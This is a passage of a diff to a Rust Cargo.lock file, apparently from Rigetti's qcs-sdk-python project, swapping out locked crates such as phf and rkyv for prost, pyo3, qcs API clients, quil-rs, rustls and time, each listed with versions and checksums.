"0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" dependencies = [ - "phf_generator 0.11.2", - "phf_shared 0.11.2", - "proc-macro2", - "quote", - "syn 2.0.39", + "bytes", + "prost-derive", ] [[package]] -name = "phf_shared" -version = "0.10.0" +name = "prost-build" +version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" dependencies = [ - "siphasher", + "bytes", + "heck", + "itertools 0.10.5", + "lazy_static", + "log", + "multimap", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn 1.0.109", + "tempfile", + "which 4.4.2", ] [[package]] -name = "phf_shared" -version = "0.11.2" +name = "prost-derive" +version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +checksum = "e5d2d8d10f3c6ded6da8b05b5fb3b8a5082514344d56c9f871412d29b4e075b4" dependencies = [ - "siphasher", + "anyhow", + "itertools 0.10.5", + "proc-macro2", + "quote", + "syn 1.0.109", ] [[package]] -name = "pin-project" -version = "1.1.3" +name = "prost-types" +version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "213622a1460818959ac1181aaeb2dc9c7f63df720db7d788b3e24eacd1983e13" dependencies = [ - "pin-project-internal", + "prost", ] [[package]] -name = "pin-project-internal" -version = "1.1.3" +name = "pyo3" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "04e8453b658fe480c3e70c8ed4e3d3ec33eb74988bd186561b0cc66b85c3bc4b" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.39", + "cfg-if 1.0.0", + "indoc", + "inventory", + "libc", + "memoffset", + "num-complex", + "parking_lot", + "pyo3-build-config", + "pyo3-ffi", + "pyo3-macros", + "unindent", ] [[package]] -name = "pin-project-lite" -version = "0.2.13" +name = "pyo3-asyncio" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" +checksum = "6ea6b68e93db3622f3bb3bf363246cf948ed5375afe7abff98ccbdd50b184995" +dependencies = [ + "futures", + "once_cell", + "pin-project-lite", + "pyo3", + "tokio", +] [[package]] -name = "pin-utils" -version = "0.1.0" +name = "pyo3-build-config" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +checksum = "a96fe70b176a89cff78f2fa7b3c930081e163d5379b4dcdf993e3ae29ca662e5" +dependencies = [ + "once_cell", + "target-lexicon", +] [[package]] -name = "ppv-lite86" -version = "0.2.17" +name = "pyo3-ffi" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" +checksum = "214929900fd25e6604661ed9cf349727c8920d47deff196c4e28165a6ef2a96b" +dependencies = [ + "libc", + "pyo3-build-config", +] [[package]] -name = "precomputed-hash" -version = "0.1.1" +name = "pyo3-log" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" +checksum = "c09c2b349b6538d8a73d436ca606dab6ce0aaab4dad9e6b7bdd57a4f556c3bc3" +dependencies = [ + "arc-swap", + "log", + "pyo3", +] [[package]] -name = "proc-macro-error" -version = "1.0.4" +name = "pyo3-macros" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +checksum = "dac53072f717aa1bfa4db832b39de8c875b7c7af4f4a6fe93cdbf9264cf8383b" dependencies = [ - "proc-macro-error-attr", "proc-macro2", + "pyo3-macros-backend", "quote", - "version_check", + "syn 2.0.39", ] [[package]] -name = "proc-macro-error-attr" -version = "1.0.4" +name = "pyo3-macros-backend" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +checksum = "7774b5a8282bd4f25f803b1f0d945120be959a36c72e08e7cd031c792fdfd424" dependencies = [ + "heck", "proc-macro2", "quote", - "version_check", + "syn 2.0.39", ] [[package]] -name = "proc-macro2" -version = "1.0.70" +name = "qcs" +version = "0.20.4" +dependencies = [ + "assert2", + "async-trait", + "built", + "cached", + "derive_builder", + "enum-as-inner", + "erased-serde", + "float-cmp", + "futures", + "hex", + "indexmap 1.9.3", + "insta", + "itertools 0.11.0", + "lazy_static", + "libquil-sys", + "maplit", + "ndarray", + "num", + "qcs-api", + "qcs-api-client-common", + "qcs-api-client-grpc", + "qcs-api-client-openapi", + "quil-rs", + "regex", + "reqwest", + "rmp-serde", + "rstest", + "serde", + "serde_json", + "simple_logger", + "tempfile", + "test-case", + "thiserror", + "tokio", + "toml 0.7.8", + "tonic", + "tracing", + "tracing-subscriber", + "uuid", + "warp", + "zmq", +] + +[[package]] +name = "qcs-api" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +checksum = "7b2f3479fd26e3d5b41f89fe422ab2289cb16fa871498545828a1abcc6f1f267" dependencies = [ - "unicode-ident", + "reqwest", + "serde", + "serde_derive", + "serde_json", + "url", ] [[package]] -name = "proc-macro2-diagnostics" -version = "0.10.1" +name = "qcs-api-client-common" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af066a9c399a26e020ada66a034357a868728e72cd426f3adcd35f80d88d88c8" +checksum = "cc3356caa74bb697c4271c950a3040e8dbb9448a9bd0124411b9b43155b8e192" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.39", - "version_check", - "yansi", + "async-trait", + "futures", + "home", + "http", + "jsonwebtoken", + "reqwest", + "serde", + "thiserror", + "tokio", + "toml 0.7.8", + "tracing", + "url", + "urlpattern", ] [[package]] -name = "ptr_meta" -version = "0.1.4" +name = "qcs-api-client-grpc" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0738ccf7ea06b608c10564b31debd4f5bc5e197fc8bfe088f68ae5ce81e7a4f1" +checksum = "37bd1842ca3485e8c0abf36be4cbcee1ea12e97da15ac731ce9dae20f7f58f41" dependencies = [ - "ptr_meta_derive", + "http", + "http-body", + "hyper", + "hyper-proxy", + "hyper-socks2", + "opentelemetry", + "opentelemetry-http", + "opentelemetry_api", + "pbjson", + "pbjson-build", + "prost", + "prost-build", + "qcs-api-client-common", + "serde", + "thiserror", + "tonic", + "tonic-build", + "tower", + "tracing", + "url", + "urlpattern", ] [[package]] -name = "ptr_meta_derive" -version = "0.1.4" +name = "qcs-api-client-openapi" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16b845dbfca988fa33db069c0e230574d15a3088f147a87b64c7589eb662c9ac" +checksum = "c605c4bdf887f487dbe7c0055f303728a992a6d508eedc55d7efa41b36adba07" dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "anyhow", + "qcs-api-client-common", + "reqwest", + "reqwest-middleware", + "reqwest-tracing", + "serde", + "serde_json", + "task-local-extensions", + "tracing", + "url", + "urlpattern", +] + +[[package]] +name = "qcs-sdk-python" +version = "0.16.3" +dependencies = [ + "async-trait", + "numpy", + "once_cell", + "paste", + "pyo3", + "pyo3-asyncio", + "pyo3-build-config", + "pyo3-log", + "qcs", + "qcs-api", + "qcs-api-client-common", + "qcs-api-client-grpc", + "qcs-api-client-openapi", + "quil-rs", + "rigetti-pyo3", + "serde_json", + "thiserror", + "tokio", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quil-rs" +version = "0.22.5" +source = "git+https://github.com/rigetti/quil-rs?tag=quil-py/v0.6.5#bfee2c882b402c7b14b921af2ca346b639378f4b" +dependencies = [ + "approx", + "indexmap 1.9.3", + "itertools 0.11.0", + "lexical", + "ndarray", + "nom 7.1.3", + "nom_locate", + "num-complex", + "once_cell", + "petgraph", + "regex", + "serde", + "strum", + "thiserror", ] [[package]] @@ -2025,12 +2242,6 @@ dependencies = [ ] [[package]] -name = "radium" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" - -[[package]] name = "rand" version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2061,6 +2272,12 @@ dependencies = [ ] [[package]] +name = "rawpointer" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3" + +[[package]] name = "rayon" version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2082,15 +2299,6 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "redox_syscall" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" @@ -2099,17 +2307,6 @@ dependencies = [ ] [[package]] -name = "redox_users" -version = "0.4.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" -dependencies = [ - "getrandom", - "libredox", - "thiserror", -] - -[[package]] name = "regex" version = "1.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2139,15 +2336,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] -name = "rend" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2571463863a6bd50c32f94402933f03457a3fbaf697a707c5be741e459f08fd" -dependencies = [ - "bytecheck", -] - -[[package]] name = "reqwest" version = "0.11.22" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2162,22 +2350,25 @@ dependencies = [ "http", "http-body", "hyper", - "hyper-rustls", + "hyper-rustls 0.24.2", "ipnet", "js-sys", "log", "mime", + "mime_guess", "once_cell", "percent-encoding", "pin-project-lite", - "rustls", + "rustls 0.21.9", + "rustls-native-certs 0.6.3", "rustls-pemfile", "serde", "serde_json", "serde_urlencoded", "system-configuration", "tokio", - "tokio-rustls", + "tokio-rustls 0.24.1", + "tokio-socks", "tower-service", "url", "wasm-bindgen", @@ -2188,65 +2379,126 @@ dependencies = [ ] [[package]] +name = "reqwest-middleware" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a3e86aa6053e59030e7ce2d2a3b258dd08fc2d337d52f73f6cb480f5858690" +dependencies = [ + "anyhow", + "async-trait", + "http", + "reqwest", + "serde", + "task-local-extensions", + "thiserror", +] + +[[package]] +name = "reqwest-tracing" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14b1e66540e0cac90acadaf7109bf99c90d95abcc94b4c096bfa16a2d7aa7a71" +dependencies = [ + "anyhow", + "async-trait", + "getrandom", + "matchit", + "opentelemetry", + "reqwest", + "reqwest-middleware", + "task-local-extensions", + "tracing", + "tracing-opentelemetry", +] + +[[package]] +name = "rigetti-pyo3" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff977cba40f2cadf214226cf51c9729a4f5730a5413f901246eed78cb6e795c9" +dependencies = [ + "num-complex", + "num-traits", + "paste", + "pyo3", + "time", +] + +[[package]] +name = "ring" +version = "0.16.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" +dependencies = [ + "cc", + "libc", + "once_cell", + "spin 0.5.2", + "untrusted 0.7.1", + "web-sys", + "winapi", +] + +[[package]] name = "ring" -version = "0.17.6" +version = "0.17.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "684d5e6e18f669ccebf64a92236bb7db9a34f07be010e3627368182027180866" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" dependencies = [ "cc", "getrandom", "libc", - "spin", - "untrusted", + "spin 0.9.8", + "untrusted 0.9.0", "windows-sys 0.48.0", ] [[package]] -name = "rkyv" -version = "0.7.42" +name = "rmp" +version = "0.8.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0200c8230b013893c0b2d6213d6ec64ed2b9be2e0e016682b7224ff82cff5c58" +checksum = "7f9860a6cc38ed1da53456442089b4dfa35e7cedaa326df63017af88385e6b20" dependencies = [ - "bitvec", - "bytecheck", - "hashbrown 0.12.3", - "ptr_meta", - "rend", - "rkyv_derive", - "seahash", - "tinyvec", - "uuid", + "byteorder", + "num-traits", + "paste", ] [[package]] -name = "rkyv_derive" -version = "0.7.42" +name = "rmp-serde" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e06b915b5c230a17d7a736d1e2e63ee753c256a8614ef3f5147b13a4f5541d" +checksum = "bffea85eea980d8a74453e5d02a8d93028f3c34725de143085a844ebe953258a" dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "byteorder", + "rmp", + "serde", ] [[package]] -name = "rle-decode-fast" -version = "1.0.3" +name = "rstest" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3582f63211428f83597b51b2ddb88e2a91a9d52d12831f9d08f5e624e8977422" +checksum = "de1bb486a691878cd320c2f0d319ba91eeaa2e894066d8b5f8f117c000e9d962" +dependencies = [ + "futures", + "futures-timer", + "rstest_macros", + "rustc_version", +] [[package]] -name = "rstml" -version = "0.11.2" +name = "rstest_macros" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe542870b8f59dd45ad11d382e5339c9a1047cde059be136a7016095bbdefa77" +checksum = "290ca1a1c8ca7edb7c3283bd44dc35dd54fdec6253a3912e201ba1072018fca8" dependencies = [ + "cfg-if 1.0.0", "proc-macro2", - "proc-macro2-diagnostics", "quote", - "syn 2.0.39", - "syn_derive", - "thiserror", + "rustc_version", + "syn 1.0.109", + "unicode-ident", ] [[package]] @@ -2256,6 +2508,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" [[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] name = "rustc_version" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2266,15 +2524,28 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.25" +version = "0.38.26" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc99bc2d4f1fed22595588a013687477aedf3cdcfb26558c559edb67b4d9b22e" +checksum = "9470c4bf8246c8daf25f9598dca807fb6510347b1e1cfa55749113850c79d88a" dependencies = [ "bitflags 2.4.1", "errno", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35edb675feee39aec9c99fa5ff985081995a06d594114ae14cbe797ad7b7a6d7" +dependencies = [ + "base64 0.13.1", + "log", + "ring 0.16.20", + "sct 0.6.1", + "webpki", ] [[package]] @@ -2284,9 +2555,33 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "629648aced5775d558af50b2b4c7b02983a04b312126d45eeead26e7caa498b9" dependencies = [ "log", - "ring", + "ring 0.17.7", "rustls-webpki", - "sct", + "sct 0.7.1", +] + +[[package]] +name = "rustls-native-certs" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a07b7c1885bd8ed3831c289b7870b13ef46fe0e856d288c30d9cc17d75a2092" +dependencies = [ + "openssl-probe", + "rustls 0.19.1", + "schannel", + "security-framework", +] + +[[package]] +name = "rustls-native-certs" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" +dependencies = [ + "openssl-probe", + "rustls-pemfile", + "schannel", + "security-framework", ] [[package]] @@ -2304,8 +2599,8 @@ version = "0.101.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" dependencies = [ - "ring", - "untrusted", + "ring 0.17.7", + "untrusted 0.9.0", ] [[package]] @@ -2321,12 +2616,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" [[package]] -name = "safemem" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072" - -[[package]] name = "same-file" version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2336,6 +2625,21 @@ dependencies = [ ] [[package]] +name = "schannel" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c3733bf4cf7ea0880754e19cb5a462007c4a8c1914bff372ccc95b464f1df88" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2343,19 +2647,46 @@ checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "sct" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" +dependencies = [ + "ring 0.16.20", + "untrusted 0.7.1", +] + +[[package]] +name = "sct" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" dependencies = [ - "ring", - "untrusted", + "ring 0.17.7", + "untrusted 0.9.0", ] [[package]] -name = "seahash" -version = "4.1.0" +name = "security-framework" +version = "2.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] [[package]] name = "semver" @@ -2376,17 +2707,6 @@ dependencies = [ ] [[package]] -name = "serde-wasm-bindgen" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3b4c031cd0d9014307d82b8abf653c0290fbdaeb4c02d00c63cf52f728628bf" -dependencies = [ - "js-sys", - "serde", - "wasm-bindgen", -] - -[[package]] name = "serde_derive" version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2409,12 +2729,11 @@ dependencies = [ ] [[package]] -name = "serde_path_to_error" -version = "0.1.14" +name = "serde_spanned" +version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4beec8bce849d58d06238cb50db2e1c417cfeafa4c63f692b15c82b7c80f8335" +checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" dependencies = [ - "itoa", "serde", ] @@ -2442,28 +2761,19 @@ dependencies = [ ] [[package]] -name = "signal-hook-registry" -version = "1.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" -dependencies = [ - "libc", -] - -[[package]] -name = "simd-abstraction" -version = "0.7.1" +name = "sharded-slab" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cadb29c57caadc51ff8346233b5cec1d240b68ce55cf1afc764818791876987" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" dependencies = [ - "outref", + "lazy_static", ] [[package]] -name = "simdutf8" -version = "0.1.4" +name = "shlex" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a" +checksum = "7fdf1b9db47230893d76faad238fd6097fd6d6a9245cd7a4d90dbd639536bbd2" [[package]] name = "similar" @@ -2472,10 +2782,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2aeaf503862c419d66959f5d7ca015337d864e9c49485d771b732e2a20453597" [[package]] -name = "siphasher" -version = "0.3.11" +name = "simple_asn1" +version = "0.6.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" +checksum = "adc4e5204eb1910f40f9cfa375f6f05b68c3abac4b6fd879c8ff5e7ae8a0a085" +dependencies = [ + "num-bigint", + "num-traits", + "thiserror", + "time", +] + +[[package]] +name = "simple_logger" +version = "4.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef" +dependencies = [ + "log", + "windows-sys 0.48.0", +] [[package]] name = "slab" @@ -2499,7 +2825,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" dependencies = [ "libc", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -2514,49 +2840,57 @@ dependencies = [ [[package]] name = "spin" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" + +[[package]] +name = "spin" version = "0.9.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" [[package]] -name = "stable_deref_trait" -version = "1.2.0" +name = "static_assertions" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" [[package]] -name = "string_cache" -version = "0.8.7" +name = "strsim" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" + +[[package]] +name = "strsim" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063e6045c0e62079840579a7e47a355ae92f60eb74daaf156fb1e84ba164e63f" dependencies = [ - "new_debug_unreachable", - "once_cell", - "parking_lot", - "phf_shared 0.10.0", - "precomputed-hash", - "serde", + "strum_macros", ] [[package]] -name = "string_cache_codegen" -version = "0.5.2" +name = "strum_macros" +version = "0.24.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" +checksum = "1e385be0d24f186b4ce2f9982191e7101bb737312ad61c1f2f984f34bcf85d59" dependencies = [ - "phf_generator 0.10.0", - "phf_shared 0.10.0", + "heck", "proc-macro2", "quote", + "rustversion", + "syn 1.0.109", ] [[package]] -name = "strsim" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" - -[[package]] name = "syn" version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2579,18 +2913,6 @@ dependencies = [ ] [[package]] -name = "syn_derive" -version = "0.1.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b" -dependencies = [ - "proc-macro-error", - "proc-macro2", - "quote", - "syn 2.0.39", -] - -[[package]] name = "sync_wrapper" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2618,27 +2940,32 @@ dependencies = [ ] [[package]] -name = "tap" -version = "1.0.1" +name = "system-deps" +version = "6.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr", + "heck", + "pkg-config", + "toml 0.8.8", + "version-compare", +] [[package]] -name = "tar" -version = "0.4.40" +name = "target-lexicon" +version = "0.12.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb" -dependencies = [ - "filetime", - "libc", - "xattr", -] +checksum = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a" [[package]] -name = "temp-dir" -version = "0.1.11" +name = "task-local-extensions" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af547b166dd1ea4b472165569fc456cfb6818116f854690b0ff205e636523dab" +checksum = "ba323866e5d033818e3240feeb9f7db2c4296674e4d9e16b97b7bf8f490434e8" +dependencies = [ + "pin-utils", +] [[package]] name = "tempfile" @@ -2648,12 +2975,63 @@ checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" dependencies = [ "cfg-if 1.0.0", "fastrand", - "redox_syscall 0.4.1", + "redox_syscall", "rustix", "windows-sys 0.48.0", ] [[package]] +name = "termcolor" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "test-case" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb2550dd13afcd286853192af8601920d959b14c401fcece38071d53bf0768a8" +dependencies = [ + "test-case-macros", +] + +[[package]] +name = "test-case-core" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adcb7fd841cd518e279be3d5a3eb0636409487998a4aff22f3de87b81e88384f" +dependencies = [ + "cfg-if 1.0.0", + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "test-case-macros" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c89e72a01ed4c579669add59014b9a524d609c0c88c6a585ce37485879f6ffb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", + "test-case-core", +] + +[[package]] +name = "textwrap" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +dependencies = [ + "unicode-width", +] + +[[package]] name = "thiserror" version = "1.0.50" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2674,6 +3052,44 @@ dependencies = [ ] [[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if 1.0.0", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17f6bb557fd245c28e6411aa56b6403c689ad95061f50e4be16c274e70a17e48" +dependencies = [ + "deranged", + "itoa", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7300fbefb4dadc1af235a9cef3737cea692a9d97e1b9cbcd4ebdae6f8868e6fb" + +[[package]] +name = "time-macros" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a942f44339478ef67935ab2bbaec2fb0322496cf3cbe84b261e06ac3814c572" +dependencies = [ + "time-core", +] + +[[package]] name = "tinyvec" version = 